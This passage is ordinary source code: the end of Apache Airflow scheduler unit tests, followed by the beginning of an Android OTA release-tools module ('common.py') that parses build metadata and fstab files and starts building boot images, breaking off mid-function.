default_args={'start_date': test_start_date}) task = DummyOperator(task_id='dummy', dag=dag, owner='airflow', sla=datetime.timedelta(hours=1)) session.merge(models.TaskInstance(task=task, execution_date=test_start_date, state='Success')) # Create an SlaMiss where notification was sent, but email was not session.merge(models.SlaMiss(task_id='dummy', dag_id='test_sla_miss', execution_date=test_start_date)) # Now call manage_slas and see if the sla_miss callback gets called scheduler = SchedulerJob(dag_id='test_sla_miss') with mock.patch('airflow.jobs.SchedulerJob.log', new_callable=PropertyMock) as mock_log: scheduler.manage_slas(dag=dag, session=session) sla_callback.assert_called() mock_log().exception.assert_called_with( 'Could not call sla_miss_callback for DAG %s', 'test_sla_miss') @mock.patch("airflow.utils.email.send_email") def test_scheduler_sla_miss_email_exception(self, mock_send_email): """ Test that the scheduler gracefully logs an exception if there is a problem sending an email """ session = settings.Session() # Mock the callback function so we can verify that it was not called mock_send_email.side_effect = RuntimeError('Could not send an email') test_start_date = days_ago(2) dag = DAG(dag_id='test_sla_miss', default_args={'start_date': test_start_date, 'sla': datetime.timedelta(days=1)}) task = DummyOperator(task_id='dummy', dag=dag, owner='airflow', email='test@test.com', sla=datetime.timedelta(hours=1)) session.merge(models.TaskInstance(task=task, execution_date=test_start_date, state='Success')) # Create an SlaMiss where notification was sent, but email was not session.merge(models.SlaMiss(task_id='dummy', dag_id='test_sla_miss', execution_date=test_start_date)) scheduler = SchedulerJob(dag_id='test_sla_miss', num_runs=1) with mock.patch('airflow.jobs.SchedulerJob.log', new_callable=PropertyMock) as mock_log: scheduler.manage_slas(dag=dag, session=session) mock_log().exception.assert_called_with( 'Could not send SLA Miss email notification for DAG %s', 'test_sla_miss') def test_retry_still_in_executor(self): """ Checks if the scheduler does not put a task in limbo, when a task is retried but is still present in the executor. """ executor = TestExecutor() dagbag = DagBag(executor=executor) dagbag.dags.clear() dagbag.executor = executor dag = DAG( dag_id='test_retry_still_in_executor', start_date=DEFAULT_DATE, schedule_interval="@once") dag_task1 = BashOperator( task_id='test_retry_handling_op', bash_command='exit 1', retries=1, dag=dag, owner='airflow') dag.clear() dag.is_subdag = False session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) orm_dag.is_paused = False session.merge(orm_dag) session.commit() dagbag.bag_dag(dag=dag, root_dag=dag, parent_dag=dag) @mock.patch('airflow.models.DagBag', return_value=dagbag) @mock.patch('airflow.models.DagBag.collect_dags') def do_schedule(function, function2): # Use a empty file since the above mock will return the # expected DAGs. Also specify only a single file so that it doesn't # try to schedule the above DAG repeatedly. scheduler = SchedulerJob(num_runs=1, executor=executor, subdir=os.path.join(settings.DAGS_FOLDER, "no_dags.py")) scheduler.heartrate = 0 scheduler.run() do_schedule() self.assertEquals(1, len(executor.queued_tasks)) def run_with_error(task): try: task.run() except AirflowException: pass ti_tuple = six.next(six.itervalues(executor.queued_tasks)) (command, priority, queue, simple_ti) = ti_tuple ti = simple_ti.construct_task_instance() ti.task = dag_task1 self.assertEqual(ti.try_number, 1) # fail execution run_with_error(ti) self.assertEqual(ti.state, State.UP_FOR_RETRY) self.assertEqual(ti.try_number, 2) ti.refresh_from_db(lock_for_update=True, session=session) ti.state = State.SCHEDULED session.merge(ti) session.commit() # do not schedule do_schedule() self.assertTrue(executor.has_task(ti)) ti.refresh_from_db() # removing self.assertEqual(ti.state, State.SCHEDULED) # as scheduler will move state from SCHEDULED to QUEUED # now the executor has cleared and it should be allowed the re-queue, # but tasks stay in the executor.queued_tasks after executor.heartbeat() # will be set back to SCHEDULED state executor.queued_tasks.clear() do_schedule() ti.refresh_from_db() self.assertEqual(ti.state, State.SCHEDULED) # To verify that task does get re-queued. executor.queued_tasks.clear() executor.do_update = True do_schedule() ti.refresh_from_db() self.assertEqual(ti.state, State.RUNNING) @unittest.skipUnless("INTEGRATION" in os.environ, "Can only run end to end") def test_retry_handling_job(self): """ Integration test of the scheduler not accidentally resetting the try_numbers for a task """ dag = self.dagbag.get_dag('test_retry_handling_job') dag_task1 = dag.get_task("test_retry_handling_op") dag.clear() scheduler = SchedulerJob(dag_id=dag.dag_id, num_runs=1) scheduler.heartrate = 0 scheduler.run() session = settings.Session() ti = session.query(TI).filter(TI.dag_id == dag.dag_id, TI.task_id == dag_task1.task_id).first() # make sure the counter has increased self.assertEqual(ti.try_number, 2) self.assertEqual(ti.state, State.UP_FOR_RETRY) def test_dag_with_system_exit(self): """ Test to check that a DAG with a system.exit() doesn't break the scheduler. """ dag_id = 'exit_test_dag' dag_ids = [dag_id] dag_directory = os.path.join(settings.DAGS_FOLDER, "..", "dags_with_system_exit") dag_file = os.path.join(dag_directory, 'b_test_scheduler_dags.py') dagbag = DagBag(dag_folder=dag_file) for dag_id in dag_ids: dag = dagbag.get_dag(dag_id) dag.clear() scheduler = SchedulerJob(dag_ids=dag_ids, subdir=dag_directory, num_runs=1) scheduler.run() with create_session() as session: self.assertEqual( len(session.query(TI).filter(TI.dag_id == dag_id).all()), 1) def test_dag_get_active_runs(self): """ Test to check that a DAG returns its active runs """ now = timezone.utcnow() six_hours_ago_to_the_hour = \ (now - datetime.timedelta(hours=6)).replace(minute=0, second=0, microsecond=0) START_DATE = six_hours_ago_to_the_hour DAG_NAME1 = 'get_active_runs_test' default_args = { 'owner': 'airflow', 'depends_on_past': False, 'start_date': START_DATE } dag1 = DAG(DAG_NAME1, schedule_interval='* * * * *', max_active_runs=1, default_args=default_args ) run_this_1 = DummyOperator(task_id='run_this_1', dag=dag1) run_this_2 = DummyOperator(task_id='run_this_2', dag=dag1) run_this_2.set_upstream(run_this_1) run_this_3 = DummyOperator(task_id='run_this_3', dag=dag1) run_this_3.set_upstream(run_this_2) session = settings.Session() orm_dag = DagModel(dag_id=dag1.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag1.clear() dr = scheduler.create_dag_run(dag1) # We had better get a dag run self.assertIsNotNone(dr) execution_date = dr.execution_date running_dates = dag1.get_active_runs() try: running_date = running_dates[0] except Exception as _: running_date = 'Except' self.assertEqual(execution_date, running_date, 'Running Date must match Execution Date') def test_dag_catchup_option(self): """ Test to check that a DAG with catchup = False only schedules beginning now, not back to the start date """ def setup_dag(dag_id, schedule_interval, start_date, catchup): default_args = { 'owner': 'airflow', 'depends_on_past': False, 'start_date': start_date } dag = DAG(dag_id, schedule_interval=schedule_interval, max_active_runs=1, catchup=catchup, default_args=default_args) t1 = DummyOperator(task_id='t1', dag=dag) t2 = DummyOperator(task_id='t2', dag=dag) t2.set_upstream(t1) t3 = DummyOperator(task_id='t3', dag=dag) t3.set_upstream(t2) session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() return dag now = timezone.utcnow() six_hours_ago_to_the_hour = (now - datetime.timedelta(hours=6)).replace( minute=0, second=0, microsecond=0) half_an_hour_ago = now - datetime.timedelta(minutes=30) two_hours_ago = now - datetime.timedelta(hours=2) scheduler = SchedulerJob() dag1 = setup_dag(dag_id='dag_with_catchup', schedule_interval='* * * * *', start_date=six_hours_ago_to_the_hour, catchup=True) default_catchup = configuration.conf.getboolean('scheduler', 'catchup_by_default') self.assertEqual(default_catchup, True) self.assertEqual(dag1.catchup, True) dag2 = setup_dag(dag_id='dag_without_catchup_ten_minute', schedule_interval='*/10 * * * *', start_date=six_hours_ago_to_the_hour, catchup=False) dr = scheduler.create_dag_run(dag2) # We had better get a dag run self.assertIsNotNone(dr) # The DR should be scheduled in the last half an hour, not 6 hours ago self.assertGreater(dr.execution_date, half_an_hour_ago) # The DR should be scheduled BEFORE now self.assertLess(dr.execution_date, timezone.utcnow()) dag3 = setup_dag(dag_id='dag_without_catchup_hourly', schedule_interval='@hourly', start_date=six_hours_ago_to_the_hour, catchup=False) dr = scheduler.create_dag_run(dag3) # We had better get a dag run self.assertIsNotNone(dr) # The DR should be scheduled in the last 2 hours, not 6 hours ago self.assertGreater(dr.execution_date, two_hours_ago) # The DR should be scheduled BEFORE now self.assertLess(dr.execution_date, timezone.utcnow()) dag4 = setup_dag(dag_id='dag_without_catchup_once', schedule_interval='@once', start_date=six_hours_ago_to_the_hour, catchup=False) dr = scheduler.create_dag_run(dag4) self.assertIsNotNone(dr) def test_add_unparseable_file_before_sched_start_creates_import_error(self): dags_folder = mkdtemp() try: unparseable_filename = os.path.join(dags_folder, TEMP_DAG_FILENAME) with open(unparseable_filename, 'w') as unparseable_file: unparseable_file.writelines(UNPARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) finally: shutil.rmtree(dags_folder) with create_session() as session: import_errors = session.query(models.ImportError).all() self.assertEqual(len(import_errors), 1) import_error = import_errors[0] self.assertEqual(import_error.filename, unparseable_filename) self.assertEqual(import_error.stacktrace, "invalid syntax ({}, line 1)".format(TEMP_DAG_FILENAME)) def test_add_unparseable_file_after_sched_start_creates_import_error(self): dags_folder = mkdtemp() try: unparseable_filename = os.path.join(dags_folder, TEMP_DAG_FILENAME) self.run_single_scheduler_loop_with_no_dags(dags_folder) with open(unparseable_filename, 'w') as unparseable_file: unparseable_file.writelines(UNPARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) finally: shutil.rmtree(dags_folder) with create_session() as session: import_errors = session.query(models.ImportError).all() self.assertEqual(len(import_errors), 1) import_error = import_errors[0] self.assertEqual(import_error.filename, unparseable_filename) self.assertEqual(import_error.stacktrace, "invalid syntax ({}, line 1)".format(TEMP_DAG_FILENAME)) def test_no_import_errors_with_parseable_dag(self): try: dags_folder = mkdtemp() parseable_filename = os.path.join(dags_folder, TEMP_DAG_FILENAME) with open(parseable_filename, 'w') as parseable_file: parseable_file.writelines(PARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) finally: shutil.rmtree(dags_folder) with create_session() as session: import_errors = session.query(models.ImportError).all() self.assertEqual(len(import_errors), 0) def test_new_import_error_replaces_old(self): try: dags_folder = mkdtemp() unparseable_filename = os.path.join(dags_folder, TEMP_DAG_FILENAME) # Generate original import error with open(unparseable_filename, 'w') as unparseable_file: unparseable_file.writelines(UNPARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) # Generate replacement import error (the error will be on the second line now) with open(unparseable_filename, 'w') as unparseable_file: unparseable_file.writelines( PARSEABLE_DAG_FILE_CONTENTS + os.linesep + UNPARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) finally: shutil.rmtree(dags_folder) session = settings.Session() import_errors = session.query(models.ImportError).all() self.assertEqual(len(import_errors), 1) import_error = import_errors[0] self.assertEqual(import_error.filename, unparseable_filename) self.assertEqual(import_error.stacktrace, "invalid syntax ({}, line 2)".format(TEMP_DAG_FILENAME)) def test_remove_error_clears_import_error(self): try: dags_folder = mkdtemp() filename_to_parse = os.path.join(dags_folder, TEMP_DAG_FILENAME) # Generate original import error with open(filename_to_parse, 'w') as file_to_parse: file_to_parse.writelines(UNPARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) # Remove the import error from the file with open(filename_to_parse, 'w') as file_to_parse: file_to_parse.writelines( PARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) finally: shutil.rmtree(dags_folder) session = settings.Session() import_errors = session.query(models.ImportError).all() self.assertEqual(len(import_errors), 0) def test_remove_file_clears_import_error(self): try: dags_folder = mkdtemp() filename_to_parse = os.path.join(dags_folder, TEMP_DAG_FILENAME) # Generate original import error with open(filename_to_parse, 'w') as file_to_parse: file_to_parse.writelines(UNPARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) finally: shutil.rmtree(dags_folder) # Rerun the scheduler once the dag file has been removed self.run_single_scheduler_loop_with_no_dags(dags_folder) with create_session() as session: import_errors = session.query(models.ImportError).all() self.assertEqual(len(import_errors), 0) def test_list_py_file_paths(self): """ [JIRA-1357] Test the 'list_py_file_paths' function used by the scheduler to list and load DAGs. """ detected_files = set() expected_files = set() # No_dags is empty, _invalid_ is ignored by .airflowignore ignored_files = [ 'no_dags.py', 'test_invalid_cron.py', 'test_zip_invalid_cron.zip', ] for file_name in os.listdir(TEST_DAGS_FOLDER): if file_name.endswith('.py') or file_name.endswith('.zip'): if file_name not in ignored_files: expected_files.add( '{}/{}'.format(TEST_DAGS_FOLDER, file_name)) for file_path in list_py_file_paths(TEST_DAGS_FOLDER, include_examples=False): detected_files.add(file_path) self.assertEqual(detected_files, expected_files) example_dag_folder = airflow.example_dags.__path__[0] for root, dirs, files in os.walk(example_dag_folder): for file_name in files: if file_name.endswith('.py') or file_name.endswith('.zip'): if file_name not in ['__init__.py']: expected_files.add(os.path.join(root, file_name)) detected_files.clear() for file_path in list_py_file_paths(TEST_DAGS_FOLDER, include_examples=True): detected_files.add(file_path) self.assertEqual(detected_files, expected_files) def test_reset_orphaned_tasks_nothing(self): """Try with nothing. """ scheduler = SchedulerJob() session = settings.Session() self.assertEqual( 0, len(scheduler.reset_state_for_orphaned_tasks(session=session))) def test_reset_orphaned_tasks_external_triggered_dag(self): dag_id = 'test_reset_orphaned_tasks_external_triggered_dag' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval='@daily') task_id = dag_id + '_task' DummyOperator(task_id=task_id, dag=dag) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag, session=session) ti = dr1.get_task_instances(session=session)[0] dr1.state = State.RUNNING ti.state = State.SCHEDULED dr1.external_trigger = True session.merge(ti) session.merge(dr1) session.commit() reset_tis = scheduler.reset_state_for_orphaned_tasks(session=session) self.assertEquals(1, len(reset_tis)) def test_reset_orphaned_tasks_backfill_dag(self): dag_id = 'test_reset_orphaned_tasks_backfill_dag' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval='@daily') task_id = dag_id + '_task' DummyOperator(task_id=task_id, dag=dag) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag, session=session) ti = dr1.get_task_instances(session=session)[0] ti.state = State.SCHEDULED dr1.state = State.RUNNING dr1.run_id = BackfillJob.ID_PREFIX + '_sdfsfdfsd' session.merge(ti) session.merge(dr1) session.commit() self.assertTrue(dr1.is_backfill) self.assertEquals(0, len(scheduler.reset_state_for_orphaned_tasks(session=session))) def test_reset_orphaned_tasks_specified_dagrun(self): """Try to reset when we specify a dagrun and ensure nothing else is.""" dag_id = 'test_reset_orphaned_tasks_specified_dagrun' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval='@daily') task_id = dag_id + '_task' DummyOperator(task_id=task_id, dag=dag) scheduler = SchedulerJob() session = settings.Session() # make two dagruns, only reset for one dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr1.state = State.SUCCESS dr2.state = State.RUNNING ti1 = dr1.get_task_instances(session=session)[0] ti2 = dr2.get_task_instances(session=session)[0] ti1.state = State.SCHEDULED ti2.state = State.SCHEDULED session.merge(ti1) session.merge(ti2) session.merge(dr1) session.merge(dr2) session.commit() reset_tis = scheduler.reset_state_for_orphaned_tasks(filter_by_dag_run=dr2, session=session) self.assertEquals(1, len(reset_tis)) ti1.refresh_from_db(session=session) ti2.refresh_from_db(session=session) self.assertEquals(State.SCHEDULED, ti1.state) self.assertEquals(State.NONE, ti2.state) def test_reset_orphaned_tasks_nonexistent_dagrun(self): """Make sure a task in an orphaned state is not reset if it has no dagrun. """ dag_id = 'test_reset_orphaned_tasks_nonexistent_dagrun' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval='@daily') task_id = dag_id + '_task' task = DummyOperator(task_id=task_id, dag=dag) scheduler = SchedulerJob() session = settings.Session() ti = models.TaskInstance(task=task, execution_date=DEFAULT_DATE) session.add(ti) session.commit() ti.refresh_from_db() ti.state = State.SCHEDULED session.merge(ti) session.commit() self.assertEquals(0, len(scheduler.reset_state_for_orphaned_tasks(session=session))) def test_reset_orphaned_tasks_no_orphans(self): dag_id = 'test_reset_orphaned_tasks_no_orphans' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval='@daily') task_id = dag_id + '_task' DummyOperator(task_id=task_id, dag=dag) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr1.state = State.RUNNING tis = dr1.get_task_instances(session=session) tis[0].state = State.RUNNING session.merge(dr1) session.merge(tis[0]) session.commit() self.assertEquals(0, len(scheduler.reset_state_for_orphaned_tasks(session=session))) tis[0].refresh_from_db() self.assertEquals(State.RUNNING, tis[0].state) def test_reset_orphaned_tasks_non_running_dagruns(self): """Ensure orphaned tasks with non-running dagruns are not reset.""" dag_id = 'test_reset_orphaned_tasks_non_running_dagruns' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval='@daily') task_id = dag_id + '_task' DummyOperator(task_id=task_id, dag=dag) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr1.state = State.SUCCESS tis = dr1.get_task_instances(session=session) self.assertEquals(1, len(tis)) tis[0].state = State.SCHEDULED session.merge(dr1) session.merge(tis[0]) session.commit() self.assertEquals(0, len(scheduler.reset_state_for_orphaned_tasks(session=session))) def test_reset_orphaned_tasks_with_orphans(self): """Create dagruns and esnure only ones with correct states are reset.""" prefix = 'scheduler_job_test_test_reset_orphaned_tasks' states = [State.QUEUED, State.SCHEDULED, State.NONE, State.RUNNING, State.SUCCESS] states_to_reset = [State.QUEUED, State.SCHEDULED, State.NONE] dag = DAG(dag_id=prefix, start_date=DEFAULT_DATE, schedule_interval="@daily") tasks = [] for i in range(len(states)): task_id = "{}_task_{}".format(prefix, i) task = DummyOperator(task_id=task_id, dag=dag) tasks.append(task) scheduler = SchedulerJob() session = settings.Session() # create dagruns dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr1.state = State.RUNNING dr2.state = State.SUCCESS session.merge(dr1) session.merge(dr2) session.commit() # create taskinstances and set states dr1_tis = [] dr2_tis = [] for i, (task, state) in enumerate(zip(tasks, states)): ti1 = TI(task, dr1.execution_date) ti2 = TI(task, dr2.execution_date) ti1.refresh_from_db() ti2.refresh_from_db() ti1.state = state ti2.state = state dr1_tis.append(ti1) dr2_tis.append(ti2) session.merge(ti1) session.merge(ti2) session.commit() self.assertEqual(2, len(scheduler.reset_state_for_orphaned_tasks(session=session))) for ti in dr1_tis + dr2_tis: ti.refresh_from_db() # running dagrun should be reset for state, ti in zip(states, dr1_tis): if state in states_to_reset: self.assertIsNone(ti.state) else: self.assertEqual(state, ti.state) # otherwise not for state, ti in zip(states, dr2_tis): self.assertEqual(state, ti.state) for state, ti in zip(states, dr1_tis): ti.state = state session.commit() scheduler.reset_state_for_orphaned_tasks(filter_by_dag_run=dr1, session=session) # check same for dag_run version for state, ti in zip(states, dr2_tis): self.assertEqual(state, ti.state) session.close()
common.py
# Copyright (C) 2008 The Android Open Source Project # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import copy import errno import getopt import getpass import imp import os import platform import re import shlex import shutil import subprocess import sys import tempfile import threading import time import zipfile import blockimgdiff from hashlib import sha1 as sha1 class Options(object): def __init__(self): platform_search_path = { "linux2": "out/host/linux-x86", "darwin": "out/host/darwin-x86", } self.search_path = os.path.join(os.environ["PORT_BUILD"], "tools"); self.signapk_path = "signapk.jar" # Relative to search_path self.signapk_shared_library_path = "lib64" # Relative to search_path self.extra_signapk_args = [] self.java_path = "java" # Use the one on the path by default. self.java_args = ["-Xmx4096m"] # The default JVM args. self.public_key_suffix = ".x509.pem" self.private_key_suffix = ".pk8" # use otatools built boot_signer by default self.boot_signer_path = "boot_signer" self.boot_signer_args = [] self.verity_signer_path = None self.verity_signer_args = [] self.verbose = False self.tempfiles = [] self.device_specific = None self.extras = {} self.info_dict = None self.source_info_dict = None self.target_info_dict = None self.worker_threads = None # Stash size cannot exceed cache_size * threshold. self.cache_size = None self.stash_threshold = 0.8 OPTIONS = Options() # Values for "certificate" in apkcerts that mean special things. SPECIAL_CERT_STRINGS = ("PRESIGNED", "EXTERNAL") class ErrorCode(object): """Define error_codes for failures that happen during the actual update package installation. Error codes 0-999 are reserved for failures before the package installation (i.e. low battery, package verification failure). Detailed code in 'bootable/recovery/error_code.h' """ SYSTEM_VERIFICATION_FAILURE = 1000 SYSTEM_UPDATE_FAILURE = 1001 SYSTEM_UNEXPECTED_CONTENTS = 1002 SYSTEM_NONZERO_CONTENTS = 1003 SYSTEM_RECOVER_FAILURE = 1004 VENDOR_VERIFICATION_FAILURE = 2000 VENDOR_UPDATE_FAILURE = 2001 VENDOR_UNEXPECTED_CONTENTS = 2002 VENDOR_NONZERO_CONTENTS = 2003 VENDOR_RECOVER_FAILURE = 2004 OEM_PROP_MISMATCH = 3000 FINGERPRINT_MISMATCH = 3001 THUMBPRINT_MISMATCH = 3002 OLDER_BUILD = 3003 DEVICE_MISMATCH = 3004 BAD_PATCH_FILE = 3005 INSUFFICIENT_CACHE_SPACE = 3006 TUNE_PARTITION_FAILURE = 3007 APPLY_PATCH_FAILURE = 3008 class ExternalError(RuntimeError): pass def Run(args, **kwargs): """Create and return a subprocess.Popen object, printing the command line on the terminal if -v was specified.""" if OPTIONS.verbose: print " running: ", " ".join(args) return subprocess.Popen(args, **kwargs) def CloseInheritedPipes(): """ Gmake in MAC OS has file descriptor (PIPE) leak. We close those fds before doing other work.""" if platform.system() != "Darwin": return for d in range(3, 1025): try: stat = os.fstat(d) if stat is not None: pipebit = stat[0] & 0x1000 if pipebit != 0: os.close(d) except OSError: pass def LoadInfoDict(input_file, input_dir=None): """Read and parse the META/misc_info.txt key/value pairs from the input target files and return a dict.""" def read_helper(fn): if isinstance(input_file, zipfile.ZipFile): return input_file.read(fn) else: path = os.path.join(input_file, *fn.split("/")) try: with open(path) as f: return f.read() except IOError as e: if e.errno == errno.ENOENT: raise KeyError(fn) d = {} try: d = LoadDictionaryFromLines(read_helper("META/misc_info.txt").split("\n")) except KeyError: # ok if misc_info.txt doesn't exist pass # backwards compatibility: These values used to be in their own # files. Look for them, in case we're processing an old # target_files zip. if "mkyaffs2_extra_flags" not in d: try: d["mkyaffs2_extra_flags"] = read_helper( "META/mkyaffs2-extra-flags.txt").strip() except KeyError: # ok if flags don't exist pass if "recovery_api_version" not in d: try: d["recovery_api_version"] = read_helper( "META/recovery-api-version.txt").strip() except KeyError: raise ValueError("can't find recovery API version in input target-files") if "tool_extensions" not in d: try: d["tool_extensions"] = read_helper("META/tool-extensions.txt").strip() except KeyError: # ok if extensions don't exist pass if "fstab_version" not in d: d["fstab_version"] = "1" # A few properties are stored as links to the files in the out/ directory. # It works fine with the build system. However, they are no longer available # when (re)generating from target_files zip. If input_dir is not None, we # are doing repacking. Redirect those properties to the actual files in the # unzipped directory. if input_dir is not None: # We carry a copy of file_contexts.bin under META/. If not available, # search BOOT/RAMDISK/. Note that sometimes we may need a different file # to build images than the one running on device, such as when enabling # system_root_image. In that case, we must have the one for image # generation copied to META/. fc_basename = os.path.basename(d.get("selinux_fc", "file_contexts")) fc_config = os.path.join(input_dir, "META", fc_basename) if d.get("system_root_image") == "true": assert os.path.exists(fc_config) if not os.path.exists(fc_config): fc_config = os.path.join(input_dir, "BOOT", "RAMDISK", fc_basename) if not os.path.exists(fc_config): fc_config = None if fc_config: d["selinux_fc"] = fc_config # Similarly we need to redirect "ramdisk_dir" and "ramdisk_fs_config". if d.get("system_root_image") == "true": d["ramdisk_dir"] = os.path.join(input_dir, "ROOT") d["ramdisk_fs_config"] = os.path.join( input_dir, "META", "root_filesystem_config.txt") # Redirect {system,vendor}_base_fs_file. if "system_base_fs_file" in d: basename = os.path.basename(d["system_base_fs_file"]) system_base_fs_file = os.path.join(input_dir, "META", basename) if os.path.exists(system_base_fs_file): d["system_base_fs_file"] = system_base_fs_file else: print "Warning: failed to find system base fs file: %s" % ( system_base_fs_file,) del d["system_base_fs_file"] if "vendor_base_fs_file" in d: basename = os.path.basename(d["vendor_base_fs_file"]) vendor_base_fs_file = os.path.join(input_dir, "META", basename) if os.path.exists(vendor_base_fs_file): d["vendor_base_fs_file"] = vendor_base_fs_file else: print "Warning: failed to find vendor base fs file: %s" % ( vendor_base_fs_file,) del d["vendor_base_fs_file"] try: data = read_helper("META/imagesizes.txt") for line in data.split("\n"): if not line: continue name, value = line.split(" ", 1) if not value: continue if name == "blocksize": d[name] = value else: d[name + "_size"] = value except KeyError: pass def makeint(key): if key in d: d[key] = int(d[key], 0) makeint("recovery_api_version") makeint("blocksize") makeint("system_size") makeint("vendor_size") makeint("userdata_size") makeint("cache_size") makeint("recovery_size") makeint("boot_size") makeint("fstab_version") system_root_image = d.get("system_root_image", None) == "true" if d.get("no_recovery", None) != "true": recovery_fstab_path = "RECOVERY/RAMDISK/etc/recovery.fstab" d["fstab"] = LoadRecoveryFSTab(read_helper, d["fstab_version"], recovery_fstab_path, system_root_image) elif d.get("recovery_as_boot", None) == "true": recovery_fstab_path = "BOOT/RAMDISK/etc/recovery.fstab" d["fstab"] = LoadRecoveryFSTab(read_helper, d["fstab_version"], recovery_fstab_path, system_root_image) else: d["fstab"] = None d["build.prop"] = LoadBuildProp(read_helper) return d def LoadBuildProp(read_helper): try: data = read_helper("SYSTEM/build.prop") except KeyError: print "Warning: could not find SYSTEM/build.prop in %s" % zip data = "" return LoadDictionaryFromLines(data.split("\n")) def LoadDictionaryFromLines(lines): d = {} for line in lines: line = line.strip() if not line or line.startswith("#"): continue if "=" in line: name, value = line.split("=", 1) d[name] = value return d def LoadRecoveryFSTab(read_helper, fstab_version, recovery_fstab_path, system_root_image=False): class Partition(object): def __init__(self, mount_point, fs_type, device, length, device2, context=None): self.mount_point = mount_point self.fs_type = fs_type self.device = device self.length = length self.device2 = device2 self.context = context try: data = read_helper(recovery_fstab_path) except KeyError: print "Warning: could not find {}".format(recovery_fstab_path) data = "" if fstab_version == 1: d = {} for line in data.split("\n"): line = line.strip() if not line or line.startswith("#"): continue pieces = line.split() if not 3 <= len(pieces) <= 4: #raise ValueError("malformed recovery.fstab line: \"%s\"" % (line,)) print "Malformed recovery.fstab line: \"%s\"" % (line,) print "Ignore the malformed line" continue options = None if len(pieces) >= 4: if pieces[3].startswith("/"): device2 = pieces[3] if len(pieces) >= 5: options = pieces[4] else: device2 = None options = pieces[3] else: device2 = None mount_point = pieces[0] length = 0 if options: options = options.split(",") for i in options: if i.startswith("length="): length = int(i[7:]) else: print "%s: unknown option \"%s\"" % (mount_point, i) d[mount_point] = Partition(mount_point=mount_point, fs_type=pieces[1], device=pieces[2], length=length, device2=device2) elif fstab_version == 2: d = {} for line in data.split("\n"): line = line.strip() if not line or line.startswith("#"): continue # <src> <mnt_point> <type> <mnt_flags and options> <fs_mgr_flags> pieces = line.split() if len(pieces) != 5: #raise ValueError("malformed recovery.fstab line: \"%s\"" % (line,)) print "Malformed recovery.fstab line: \"%s\"" % (line,) print "Ignore the malformed line" continue # Ignore entries that are managed by vold options = pieces[4] if "voldmanaged=" in options: continue # It's a good line, parse it length = 0 options = options.split(",") for i in options: if i.startswith("length="): length = int(i[7:]) else: # Ignore all unknown options in the unified fstab continue mount_flags = pieces[3] # Honor the SELinux context if present. context = None for i in mount_flags.split(","): if i.startswith("context="): context = i mount_point = pieces[1] d[mount_point] = Partition(mount_point=mount_point, fs_type=pieces[2], device=pieces[0], length=length, device2=None, context=context) else: raise ValueError("Unknown fstab_version: \"%d\"" % (fstab_version,)) # / is used for the system mount point when the root directory is included in # system. Other areas assume system is always at "/system" so point /system # at /. if system_root_image: #assert not d.has_key("/system") and d.has_key("/") #d["/system"] = d["/"] if d.has_key("/"): d["/system"] = d["/"] return d def DumpInfoDict(d): for k, v in sorted(d.items()): print "%-25s = (%s) %s" % (k, type(v).__name__, v) def _BuildBootableImage(sourcedir, fs_config_file, info_dict=None, has_ramdisk=False, two_step_image=False): """Build a bootable image from the specified sourcedir. Take a kernel, cmdline, and optionally a ramdisk directory from the input (in 'sourcedir'), and turn them into a boot image. 'two_step_image' indicates if we are building a two-step special image (i.e. building a recovery image to be loaded into /boot in two-step OTAs). Return the image data, or None if sourcedir does not appear to contains files for building the requested image. """ def make_ramdisk(): ramdisk_img = tempfile.NamedTemporaryFile() if os.access(fs_config_file, os.F_OK): cmd = ["mkbootfs", "-f", fs_config_file, os.path.join(sourcedir, "RAMDISK")] else: cmd = ["mkbootfs", os.path.join(sourcedir, "RAMDISK")] p1 = Run(cmd, stdout=subprocess.PIPE) p2 = Run(["minigzip"], stdin=p1.stdout, stdout=ramdisk_img.file.fileno()) p2.wait() p1.wait() assert p1.returncode == 0, "mkbootfs of %s ramdisk failed" % (sourcedir,) assert p2.returncode == 0, "minigzip of %s ramdisk failed" % (sourcedir,) return ramdisk_img if not os.access(os.path.join(sourcedir, "kernel"), os.F_OK): return None if has_ramdisk and not os.access(os.path.join(sourcedir, "RAMDISK"), os.F_OK): return None if info_dict is None: info_dict = OPTIONS.info_dict img = tempfile.NamedTemporaryFile() if has_ramdisk: ramdisk_img = make_ramdisk() # use MKBOOTIMG from environ, or "mkbootimg" if empty or not set mkbootimg = os.getenv('MKBOOTIMG') or "mkbootimg" cmd = [mkbootimg, "--kernel", os.path.join(sourcedir, "kernel")] fn = os.path.join(sourcedir, "second") if os.access(fn, os.F_OK): cmd.append("--second") cmd.append(fn) fn = 